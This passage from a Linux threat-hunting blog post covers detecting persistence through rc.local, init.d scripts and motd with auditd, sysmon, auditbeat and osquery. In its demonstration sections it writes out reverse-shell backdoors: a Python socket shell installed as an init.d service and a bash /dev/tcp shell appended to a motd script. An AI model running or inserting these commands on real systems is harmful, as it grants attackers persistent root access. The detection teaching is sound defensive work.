ConditionFileIsExecutable=/etc/rc.local
After=network.target
[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
RemainAfterExit=yes
GuessMainPID=no
</code></pre></div></div>
<p>The symlink can be found in the transient directory <code class="language-plaintext highlighter-rouge">/run/systemd/generator/multi-user.target.wants/rc-local.service</code></p>
<h4 id="83-signs-of-rc-local-execution">8.3 Signs of rc-local execution</h4>
<p>The existence of <code class="language-plaintext highlighter-rouge">lib/systemd/system/rc-local.service</code> <strong>is not</strong> evidence that <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> was run. The unit file may exist on fresh installs of linux depending on the distribution (Debian 10 and Ubuntu 20).</p>
<p>Aside from the existence of <code class="language-plaintext highlighter-rouge">/etc/rc.local</code>, because it is a systemd service, there will be <code class="language-plaintext highlighter-rouge">systemd</code> logs in <code class="language-plaintext highlighter-rouge">syslog</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat /var/log/syslog | egrep "rc-local.service|/etc/rc.local Compatibility"
...
Feb 1 13:27:10 persistence-vm systemd[1]: Starting /etc/rc.local Compatibility...
Feb 1 13:27:10 persistence-vm systemd[1]: Started /etc/rc.local Compatibility.
Feb 1 13:30:27 persistence-vm systemd[1]: rc-local.service: Succeeded.
Feb 1 13:30:27 persistence-vm systemd[1]: Stopped /etc/rc.local Compatibility.
</code></pre></div></div>
<p>If the VM is still running, you can look for <code class="language-plaintext highlighter-rouge">/run/systemd/generator/multi-user.target.wants/rc-local.service</code> . This will only exist if the <code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> found <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> to an executable during boot or the last time the unit files were reloaded.</p>
<p>You can also check the status of the <code class="language-plaintext highlighter-rouge">rc-local.service</code> and see if it is not <code class="language-plaintext highlighter-rouge">incative</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ # systemctl status rc-local
● rc-local.service - /etc/rc.local Compatibility
Loaded: loaded (/lib/systemd/system/rc-local.service; enabled-runtime; vendor preset: enabled)
Drop-In: /usr/lib/systemd/system/rc-local.service.d
└─debian.conf
Active: active (exited) since Tue 2022-02-01 13:37:53 UTC; 5min ago
Docs: man:systemd-rc-local-generator(8)
</code></pre></div></div>
<p>Here is an example when it did not run.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemctl status rc.local
● rc-local.service - /etc/rc.local Compatibility
Loaded: loaded (/lib/systemd/system/rc-local.service; static; vendor preset: enabled)
Drop-In: /usr/lib/systemd/system/rc-local.service.d
└─debian.conf
Active: inactive (dead)
</code></pre></div></div>
<h4 id="83-detecting-etcrclocal-creation">8.3 Detecting /etc/rc.local creation</h4>
<h5 id="831-auditd">8.3.1 auditd</h5>
<p>This is <strong>not part of our reference</strong> Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules), but we can monitor the creation or modification of <code class="language-plaintext highlighter-rouge">rc.local</code> using the following auditd rule.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/rc.local -p wa -k rclocal
</code></pre></div></div>
<p>The commands above will result in the following logs.</p>
<pre class="highlight">
<code>SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55a7a1adc6e0 a2=241 a3=1b6 items=2 ppid=759 pid=819 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4 comm="bash" <u><b>exe="/usr/bin/bash"</b></u> subj==unconfined <b><u>key="rclocal"</u></b>
PATH item=0 name="/etc/" inode=18 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 <u><b>name="/etc/rc.local"</b></u> inode=4840 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"
</code></pre>
<h5 id="832-sysmon">8.3.2 sysmon</h5>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037.004,TechniqueName=Boot or Logon Initialization Scripts: RC Scripts"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">></span>/etc/rc.local<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
</code></pre></div></div>
<p>This results in the following log:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0"?></span>
<span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>11<span class="nt"></EventID></span>
<span class="nt"><Version></span>2<span class="nt"></Version></span>
<span class="nt"><Level></span>4<span class="nt"></Level></span>
<span class="nt"><Task></span>11<span class="nt"></Task></span>
<span class="nt"><Opcode></span>0<span class="nt"></Opcode></span>
<span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span>
<span class="nt"><TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-02-01T16:32:28.791576000Z"</span><span class="nt">/></span>
<span class="nt"><EventRecordID></span>25<span class="nt"></EventRecordID></span>
<span class="nt"><Correlation/></span>
<span class="nt"><Execution</span> <span class="na">ProcessID=</span><span class="s">"4617"</span> <span class="na">ThreadID=</span><span class="s">"4617"</span><span class="nt">/></span>
<span class="nt"><Channel></span>Linux-Sysmon/Operational<span class="nt"></Channel></span>
<span class="nt"><Computer></span>persistence-vm<span class="nt"></Computer></span>
<span class="nt"><Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>TechniqueID=T1037.004,TechniqueName=Boot or Logon Initia<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2022-02-01 16:32:28.794<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{e779f71b-609c-61f9-8d97-7cde7d550000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>4681<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/bash<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">></span>/etc/rc.local<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">></span>2022-02-01 16:32:28.794<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>root<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<p>See an example in <a href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#55-detecting-using-sysmon-rules">5.5.2 Caveats for detecting using sysmon rules</a> from the previous blog post.</p>
<p>You can try to monitor process creation with <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> however, this may not work because the <code class="language-plaintext highlighter-rouge">sysmon.service</code> is not yet running yet before the <code class="language-plaintext highlighter-rouge">rc-local.service</code> starts.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><ProcessCreate></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037.004,TechniqueName=Boot or Logon Initialization Scripts: RC Scripts"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><CommandLine</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/rc.local<span class="nt"></CommandLine></span>
<span class="nt"></Rule></span>
<span class="nt"></ProcessCreate></span>
</code></pre></div></div>
<h5 id="833-auditbeat">8.3.3 auditbeat</h5>
<p>The default configuration of <code class="language-plaintext highlighter-rouge">auditbeat</code> will catch the creation of <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> by the file integrity monitoring module.</p>
<p><img src="/assets/posts/20220206/833-rclocal-auditbeat.png" alt="" /></p>
<h4 id="84-using-osquery-to-look-for-rclocal">8.4 Using osquery to look for rc.local</h4>
<p>You can if the <code class="language-plaintext highlighter-rouge">rc-local.service</code> is not <code class="language-plaintext highlighter-rouge">inactive</code> using one of the following queries.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span><span class="n">load_state</span><span class="p">,</span> <span class="n">active_state</span><span class="p">,</span> <span class="n">sub_state</span><span class="p">,</span> <span class="n">fragment_path</span>
<span class="k">FROM</span> <span class="n">systemd_units</span>
<span class="k">WHERE</span> <span class="n">id</span> <span class="o">=</span> <span class="nv">"rc-local.service"</span> <span class="k">AND</span> <span class="n">active_state</span><span class="o">!=</span><span class="nv">"inactive"</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220206/84-osquery-rc-local.png" alt="" /></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span>
<span class="k">FROM</span> <span class="n">startup_items</span>
<span class="k">WHERE</span>
<span class="n">name</span> <span class="o">=</span> <span class="nv">"rc-local.service"</span>
<span class="k">AND</span> <span class="n">status</span> <span class="o">!=</span> <span class="nv">"inactive"</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220206/84-osquery-startup.png" alt="" /></p>
<p>If you are using <code class="language-plaintext highlighter-rouge">rc.local</code> then we can compare the hash instead</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">md5</span> <span class="k">FROM</span> <span class="n">hash</span> <span class="k">WHERE</span> <span class="n">path</span><span class="o">=</span><span class="nv">"/etc/rc.local"</span><span class="p">;</span>
</code></pre></div></div>
<h3 id="9-boot-or-logon-initialization-scripts-initd">9 Boot or Logon Initialization Scripts: init.d</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/">https://attack.mitre.org/techniques/T1037/</a></p>
<h4 id="91-how-does-initd-and-systemd-work">9.1 How does init.d and systemd work?</h4>
<p>The <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> comes from the <code class="language-plaintext highlighter-rouge">sysvinit</code> which was the traditional <code class="language-plaintext highlighter-rouge">init</code> used by linux distros such as <code class="language-plaintext highlighter-rouge">ubuntu</code> and <code class="language-plaintext highlighter-rouge">debian</code>. However, with the migration to <code class="language-plaintext highlighter-rouge">systemd</code>, scripts that normally need to be implemented in <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> can now be implemented with systemd services and the <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> is kept there for compatibility.</p>
<p>So are <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> still run? It depends. The <a href="https://www.freedesktop.org/software/systemd/man/systemd-sysv-generator.html">systemd-sysv-generator</a> (<a href="https://github.com/systemd/systemd/blob/main/src/sysv-generator/sysv-generator.c">source</a>) creates wrapper <code class="language-plaintext highlighter-rouge">*.service</code> units at boot which will be used to run the init scripts if no <code class="language-plaintext highlighter-rouge">*.service</code> exists.</p>
<h4 id="92-installing-malicious-initd-script">9.2 Installing malicious init.d script</h4>
<p>First create a executable script int <code class="language-plaintext highlighter-rouge">/etc/init.d</code>. Let’s say that we want to make <code class="language-plaintext highlighter-rouge">/etc/init.d/bad-init-d</code> where <code class="language-plaintext highlighter-rouge">/opt/backdoor.sh</code> is our malicious script.</p>
<p>One example of malicious script can be</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">></span> /opt/backdoor.sh <span class="o"><<</span> <span class="no">EOF</span><span class="sh">
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' & disown
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /opt/backdoor.sh
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">></span> /etc/init.d/bad-init-d <span class="o"><<</span> <span class="no">EOF</span><span class="sh">
#!/bin/sh
### BEGIN INIT INFO
# Provides: bad-init-d
# Required-Start: </span><span class="nv">$local_fs</span><span class="sh"> </span><span class="nv">$network</span><span class="sh"> </span><span class="nv">$syslog</span><span class="sh">
# Required-Stop: </span><span class="nv">$local_fs</span><span class="sh"> </span><span class="nv">$network</span><span class="sh"> </span><span class="nv">$syslog</span><span class="sh">
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
do_start()
{
start-stop-daemon --start </span><span class="se">\</span><span class="sh">
--pidfile /var/run/init-daemon.pid </span><span class="se">\</span><span class="sh">
--exec /opt/backdoor.sh </span><span class="se">\</span><span class="sh">
|| return 2
}
case "</span><span class="nv">$1</span><span class="sh">" in
start)
do_start
;;
esac
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /etc/init.d/bad-init-d
update-rc.d bad-init-d defaults
</code></pre></div></div>
<p>The contents of <code class="language-plaintext highlighter-rouge">BEGIN INIT INFO</code> comment is necessary and is parsed by <code class="language-plaintext highlighter-rouge">systemd-sysv-generator</code> to create the wrapper service files.</p>
<p>The <code class="language-plaintext highlighter-rouge">update-rc.</code> command creates symlinks on necessary <code class="language-plaintext highlighter-rouge">/etc/rc*/</code> based on the LSB header defined in <code class="language-plaintext highlighter-rouge">BEGIN INIT INFO</code>. This is equivalent to <code class="language-plaintext highlighter-rouge">enable</code> in <code class="language-plaintext highlighter-rouge">systemd</code>. This is enough for the script to run on boot.</p>
<h4 id="93-detecting-creation-of-etcinitdscripts">9.3 Detecting creation of /etc/init.d/scripts</h4>
<p>The primary way we can detect this is by monitoring the modification of <code class="language-plaintext highlighter-rouge">/etc/init.d/*</code> directory. We can try to monitor process creation that use these scripts but these boot init scripts will run <strong>before the <code class="language-plaintext highlighter-rouge">sysmon</code>, <code class="language-plaintext highlighter-rouge">auditd</code>, and <code class="language-plaintext highlighter-rouge">auditbeat</code> services has started.</strong></p>
<h6 id="931-auditd">9.3.1 auditd</h6>
<p>This rule is present in our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/init.d/ -p wa -k init
</code></pre></div></div>
<p>This wil results in the following log</p>
<pre class="highlight">
<code>SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55862848dda0 a2=241 a3=1b6 items=2 ppid=692 pid=2917 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=5 comm="bash" exe="/usr/bin/bash" subj==unconfined <b><u>key="init"</u></b>
PATH item=0 name="/etc/init.d/" inode=120 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 <b><u>name="/etc/init.d/bad-init-d"</u></b> inode=4842 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"
</code></pre>
<h5 id="932-sysmon">9.3.2 sysmon</h5>
<p>We can see that this is implemented in <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1037_BootLogonInitScripts_CommonDirectories.xml">T1037_BootLogonInitScripts_CommonDirectories.xml</a></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/init/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/init.d/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/rc.d/<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
</code></pre></div></div>
<p>This will result in the following log</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0"?></span>
<span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>11<span class="nt"></EventID></span>
<span class="nt"><Version></span>2<span class="nt"></Version></span>
<span class="nt"><Level></span>4<span class="nt"></Level></span>
<span class="nt"><Task></span>11<span class="nt"></Task></span>
<span class="nt"><Opcode></span>0<span class="nt"></Opcode></span>
<span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span>
<span class="nt"><TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-02-02T03:31:07.762467000Z"</span><span class="nt">/></span>
<span class="nt"><EventRecordID></span>6<span class="nt"></EventRecordID></span>
<span class="nt"><Correlation/></span>
<span class="nt"><Execution</span> <span class="na">ProcessID=</span><span class="s">"2887"</span> <span class="na">ThreadID=</span><span class="s">"2887"</span><span class="nt">/></span>
<span class="nt"><Channel></span>Linux-Sysmon/Operational<span class="nt"></Channel></span>
<span class="nt"><Computer></span>persistence-blog<span class="nt"></Computer></span>
<span class="nt"><Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>TechniqueID=T1037,TechniqueName=Boot or <span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2022-02-02 03:31:07.765<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{8491267f-fafb-61f9-8da7-192786550000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>2917<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/bash<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">></span>/etc/init.d/bad-init-d<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">></span>2022-02-02 03:31:07.765<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>root<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<h5 id="933-auditbeat">9.3.3 auditbeat</h5>
<p>Similar to the discussion we had in the the previous <a href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#56-detecting-using-auditbeats">blogpost regarding systemd services</a>, the <a href="https://www.elastic.co/guide/en/beats/auditbeat/6.8/auditbeat-module-file_integrity.html">default configuration</a> of <code class="language-plaintext highlighter-rouge">auditbeat</code> will monitor <code class="language-plaintext highlighter-rouge">/etc/init.d</code> in it’s file integrity monitoring module.</p>
<p>Either set <code class="language-plaintext highlighter-rouge">recursive: true</code> or add <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
<span class="na">paths</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">/bin</span>
<span class="pi">-</span> <span class="s">/usr/bin</span>
<span class="pi">-</span> <span class="s">/sbin</span>
<span class="pi">-</span> <span class="s">/usr/sbin</span>
<span class="pi">-</span> <span class="s">/etc</span>
<span class="pi">-</span> <span class="s">/etc/init.d</span>
<span class="c1"># recursive: true</span>
</code></pre></div></div>
<p>Once this is setup, we should see logs like this:</p>
<p><img src="/assets/posts/20220206/933-auditbeat-initd.png" alt="" /></p>
<h5 id="934-sysmon">9.3.4 sysmon</h5>
<p>Assuming the attacker forgot to tamper with timestamps, we can look for the most recently newly modified files <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">md5</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span>
<span class="k">FROM</span> <span class="n">file</span>
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"/etc/init.d/%"</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220206/94-osquery-new-files.png" alt="" /></p>
<h4 id="94-looking-for-evidence-of-etcinitd-execution">9.4 Looking for evidence of <code class="language-plaintext highlighter-rouge">/etc/init.d/</code> execution</h4>
<p>Similar to the <code class="language-plaintext highlighter-rouge">rc.local</code>, simple evidences of the execution of <code class="language-plaintext highlighter-rouge">/etc/init.d</code> scripts are:</p>
<ul>
<li>to see if there are evidence of the generated <code class="language-plaintext highlighter-rouge">*.service</code> files</li>
<li>check logs whether these services executed</li>
</ul>
<h5 id="941-init-scripts-with-description">9.4.1 init scripts with description</h5>
<p>If the LSB header of the script has a description, this will be added to the service file and a prefix of <code class="language-plaintext highlighter-rouge">LSB: </code> is included</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/sh
### BEGIN INIT INFO
# Provides: bad-init-d
# Required-Start: $local_fs $network $syslog
# Required-Stop: $local_fs $network $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Description: Bad
### END INIT INFO
</code></pre></div></div>
<p>This will results to logs in syslog containing this description and “LSB”</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /var/log/syslog | <span class="nb">grep </span>LSB
...
Feb 2 03:08:05 host systemd[1]: Starting LSB: Bad...
Feb 2 03:08:05 host systemd[1]: Started LSB: Bad.
Feb 2 03:16:47 host systemd[1]: Stopping LSB: Bad...
</code></pre></div></div>
<p>But this description is not required.</p>
<h5 id="942-looking-at-generated-service-files">9.4.2 Looking at generated service files</h5>
<p>The generated files will exist in the <code class="language-plaintext highlighter-rouge">/var/run/systemd/generator.late/</code> look for <code class="language-plaintext highlighter-rouge">.service</code> files there and you can the status of the services.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">ls</span> /var/run/systemd/generator.late/
bad-init-d.service graphical.target.wants multi-user.target.wants
<span class="nv">$ </span>/home/user# systemctl status bad-init-d
● bad-init-d.service
Loaded: loaded <span class="o">(</span>/etc/init.d/bad-init-d<span class="p">;</span> generated<span class="o">)</span>
Active: active <span class="o">(</span>exited<span class="o">)</span> since Wed 2022-02-02 03:58:30 UTC<span class="p">;</span> 4min 28s ago
Docs: man:systemd-sysv-generator<span class="o">(</span>8<span class="o">)</span>
Tasks: 0 <span class="o">(</span>limit: 4651<span class="o">)</span>
Memory: 0B
CGroup: /system.slice/bad-init-d.service
Feb 02 03:58:30 host systemd[1]: Starting bad-init-d.service...
Feb 02 03:58:30 host systemd[1]: Started bad-init-d.service.
</code></pre></div></div>
<p>Similarly, you can list all services tagged generated by <code class="language-plaintext highlighter-rouge">systemd</code> and start your hunting there.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemctl list-unit-files | grep generated
-.mount generated
boot-efi.mount generated
bad-init-d.service generated
systemd-growfs@-.service generated
</code></pre></div></div>
<h5 id="943-using-osquery">9.4.3 Using osquery</h5>
<p>This looks for any service files that were generated from <code class="language-plaintext highlighter-rouge">/etc/init.d</code></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">load_state</span><span class="p">,</span> <span class="n">active_state</span><span class="p">,</span> <span class="n">sub_state</span><span class="p">,</span> <span class="n">source_path</span>
<span class="k">FROM</span> <span class="n">systemd_units</span>
<span class="k">WHERE</span> <span class="n">source_path</span> <span class="k">LIKE</span> <span class="nv">"/etc/init.d%"</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220206/94-osquery-initd.png" alt="" /></p>
<h3 id="10-boot-or-logon-initialization-scripts-motd">10 Boot or Logon Initialization Scripts: motd</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/">https://attack.mitre.org/techniques/T1037/</a></p>
<p>This particular subtechnique is not part of the MITRE ATT&CK matrix. This is something I first encountered while solving <code class="language-plaintext highlighter-rouge">PersistenceIsFutile</code> in <code class="language-plaintext highlighter-rouge">hackthebox</code> and I felt this was interesting enough to discuss here.</p>
<h4 id="101-what-is-motd">10.1 What is motd?</h4>
<p>The <code class="language-plaintext highlighter-rouge">motd</code> or the “message of the day” is the text a user experience when logging in a linux box over ssh or a local console.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh user@1.2.3.4
Linux persistence-blog 4.19.0-18-cloud-amd64 <span class="c">#1 SMP Debian 4.19.208-1 (2021-09-29) x86_64</span>
The programs included with the Debian GNU/Linux system are free software<span class="p">;</span>
the exact distribution terms <span class="k">for </span>each program are described <span class="k">in </span>the
individual files <span class="k">in</span> /usr/share/doc/<span class="k">*</span>/copyright.
...
</code></pre></div></div>
<p>The docs for this can be found in <a href="https://wiki.debian.org/motd">debian’s motd page</a>.</p>
<p>For debian and ubuntu, part of this message can be generated dynamically from scripts in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code>. This can be either triggered by <code class="language-plaintext highlighter-rouge">sshd</code> and <code class="language-plaintext highlighter-rouge">pam_motd</code>.</p>
<p>In <code class="language-plaintext highlighter-rouge">sshd</code>, there is a config in <code class="language-plaintext highlighter-rouge">/etc/ssh/sshd_config</code> , <code class="language-plaintext highlighter-rouge">PrintMotd</code> and this is set to <code class="language-plaintext highlighter-rouge">no</code> by default because we let <code class="language-plaintext highlighter-rouge">pam_motd</code> handle <code class="language-plaintext highlighter-rouge">motd</code>.</p>
<p>In <code class="language-plaintext highlighter-rouge">pam_motd</code>, this is either in <code class="language-plaintext highlighter-rouge">/etc/pam.d/login</code> or <code class="language-plaintext highlighter-rouge">/etc/pam.d/sshd</code> in the following configs</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># This runs the /etc/update-motd.d/*
session optional pam_motd.so motd=/run/motd.dynamic
# This prints out the static motd
session optional pam_motd.so noupdate
</code></pre></div></div>
<p>What is interesting is that these scripts run as root regardless of which user is used to log in and it occurs each time someone connects over ssh.</p>
<p>To get some idea some of the usual uses of this, we can look at scripts that come with <code class="language-plaintext highlighter-rouge">ubuntu</code></p>
<ul>
<li><code class="language-plaintext highlighter-rouge">00-header</code></li>
<li><code class="language-plaintext highlighter-rouge">91-release-upgrade</code></li>
<li><code class="language-plaintext highlighter-rouge">90-updates-available</code></li>
<li><code class="language-plaintext highlighter-rouge">98-reboot-required</code></li>
</ul>
<h4 id="102-creating-malicious-scripts-in-motd">10.2 Creating malicious scripts in motd</h4>
<p>This is pretty straightforward. We can modify an existing script or add our own in <code class="language-plaintext highlighter-rouge">/etc/update-motd.d</code>.</p>
<p>For example, if <code class="language-plaintext highlighter-rouge">90-updates-available</code> exists we can add</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'/bin/bash -l > /dev/tcp/127.0.0.1/1337 0<&1 2>&1 &'</span> <span class="o">>></span> /etc/update-motd.d/90-updates-available
